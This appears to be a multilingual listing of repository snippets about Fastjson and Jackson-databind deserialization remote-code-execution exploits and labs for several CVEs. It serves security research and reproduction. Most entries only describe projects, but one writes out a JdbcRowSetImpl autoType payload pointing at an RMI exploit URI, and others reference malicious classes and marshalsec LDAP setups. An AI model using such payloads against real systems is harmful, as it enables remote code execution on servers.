CVE-2020-8840

CVE-2020-8840 Code d'analyse et de reproduction de l'environnement pour la vulnérabilité d'exécution de code à distance dans Jackson-databind CVE-2020-8840. Le projet contient : Payloads dans jackson-databind et Fastjson Classe malveillante WebServer marshalsec-0.0.3-SNAPSHOT-all.jar compilé...

fastjson-jsontype-rce-lab

Лаборатория remote-JAR/FD-цепочки Fastjson @JSONType и её детектирование Этот репозиторий теперь содержит два независимых направления исследований Fastjson: modern-fd/ — рекомендуемая реконструкция только с маркером цепочки remote-JAR/файловых дескрипторов Fastjson 1.2.83 в одном теле запроса на...

Fastjson--CVE-2017-18349-

Fastjson--CVE-2017-18349-Cancel changes Après avoir configuré le projet en tant que projet Maven, exécutez attention, l'utilisation d'une version élevée du JDK peut échouer, il est recommandé d'utiliser la version 1.8.65 du JDK la fonction main de FastjsondemoApplication.java Fichier TouchFile.ja...

CVE-2022-25845-exploit

CVE-2022-25845-exploit Попробуйте эксплуатировать эту CVE, изучив некоторые статьи: https://jfrog.com/blog/cve-2022-25845-analyzing-the-fastjson-auto-type-bypass-rce-vulnerability/ https://www.freebuf.com/vuls/339752.html Это мой анализ:...

CVE-2020-10673

Description de la vulnérabilité Récemment, le laboratoire de sécurité offensive et défensive d'AsiaInfo Security a suivi que jackson-databind a mis à jour une classe de liste noire d'injection JNDI. Si le jar de cette classe existe dans le package du projet et que la version du JDK satisfait les...

fastjson-1.2.58-rce

fastjson-1.2.58-rce 필요: fastjson autoType is enabled h2 database and some jar . ├── fastjson-1.2.58.jar ├── h2-1.4.199.jar ├── jackson-annotations-2.9.8.jar ├── jackson-core-2.9.8.jar ├── jackson-databind-2.9.8.jar └── logback-core-1.3.0-alpha4.jar fastjson-1.2.58.jar 다운로드...

CVE-2026-16723

CVE-2026-16723 Fastjson RCE ★ CVE-2026-16723 Fastjson @JSONType RCE PoC ★ Обзор CVE-2026-16723 — это уязвимость удалённого выполнения кода RCE в Fastjson 1.x 1.2.68 – 1.2.83. Когда Fastjson разбирает контролируемый злоумышленником JSON, специально сформированное значение @type превращается в поис...

Fastjson Insecure Deserialization - Remote Code Execution

parseObject in Fastjson before 1.2.25, as used in FastjsonEngine in Pippo 1.11.0 and other products, allows remote attackers to execute arbitrary code via a crafted JSON request, as demonstrated by a crafted rmi-// URI in the dataSourceName field of HTTP POST data to the Pippo /json URI, which is...

cve-2019-14540-exploit

CVE-2019-14540 Exploit http://www.leadroyal.cn/?p=939 Contrainte d'environnement : comme cette démo utilise la méthode d'exploitation JNDI via LDAP, il est nécessaire d'utiliser une version basse de JDK inférieure à 8u191. 1. Utiliser marshalsec pour créer un service LDAP sur le port local 1389,...

FastJson1.2.62-RCE

Fastjson=1.2.62 RCE Анализ уязвимости: https://www.cnblogs.com/tr1ple/p/12348886.html...

0day

0day По известным причинам оригинальный репозиторий был удалён, но копия сохранена, forks и stars обнулены. Однако будьте уверены: рецепт прежний, вкус тот же. Чтобы не потерять этот проект в будущем, можете подписаться Всё содержимое этого репозитория предназначено только для учебных целей...

fastjson-cve

Проект воспроизведения CVE-2026-16723 Обзор Этот проект воспроизводит CVE-2026-16723 — критическую уязвимость удалённого выполнения кода RCE в fastjson 1.2.68 – 1.2.83. Уязвимость позволяет выполнить RCE при конфигурации по умолчанию без необходимости включения AutoType или наличия готовых гаджет...

FastJsonAutoTypeBypass

Что это Этот проект используется для изучения способов обхода проверки AutoType в fastJSON. Информация о гаджетах Mapping только для fastjson 1.2.47: package com.FastJson1242; import com.alibaba.fastjson.JSONObject; public class Poc public static void mainString argv String payload ="\n" + " "a":...

fastjson-CVE-2022-25845

이 저장소에는 README가 없습니다...

fastjson

fastjson Fastjson est une bibliothèque Java qui peut être utilisée pour convertir des objets Java en leur représentation JSON. Elle peut également être utilisée pour convertir une chaîne JSON en un objet Java équivalent. Fastjson peut fonctionner avec n'importe quel objet Java, y compris des obje...

learnjavabug

Данный проект предназначен исключительно для исследований в области безопасности. Запрещается использовать его для проведения незаконных атак; ответственность за последствия несёт пользователь Это личный проект для воспроизведения и публикации некоторых интересных или достаточно серьёзных...

CVE-2026-16723

🚨 CVE-2026-16723 — fastjson 1.2.83: RCE через цепочку обнаружения ресурсов @JSONType Проект воспроизведения удалённой загрузки классов / выполнения команд для fastjson 1.2.66 1.2.83 через аннотацию@JSONType + недопустимое имя класса + протокол jar:. ⚠️ Отказ от ответственности Данный проект...

CVE-2026-16723

CVE-2026-16723 Fastjson RCE ★ CVE-2026-16723 Fastjson @JSONType RCE PoC ★ Обзор CVE-2026-16723 — это уязвимость удаленного выполнения кода RCE в Fastjson 1.x 1.2.68 – 1.2.83. Когда Fastjson разбирает JSON, контролируемый атакующим, сформированное значение @type превращается в поиск классового...

Fastjson-1.2.47-rce

Fastjson-1.2.47-rce version1.2.51 удаленное выполнение команд 1.2.24 "b":"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true ​ Неизвестная версия между 1.2.24 и 1.2.41...

fastjson-tp1fn1

json.org CVE-2022-45688 vrai et faux positif WTF ?? Le projet contient une dépendance fastjson avec CVE-2022-25845. La vulnérabilité se produit lorsque le balisage dans JSON est interprété comme des beans Java, c'est-à-dire que des classes sont instanciées et que les propriétés sont définies en...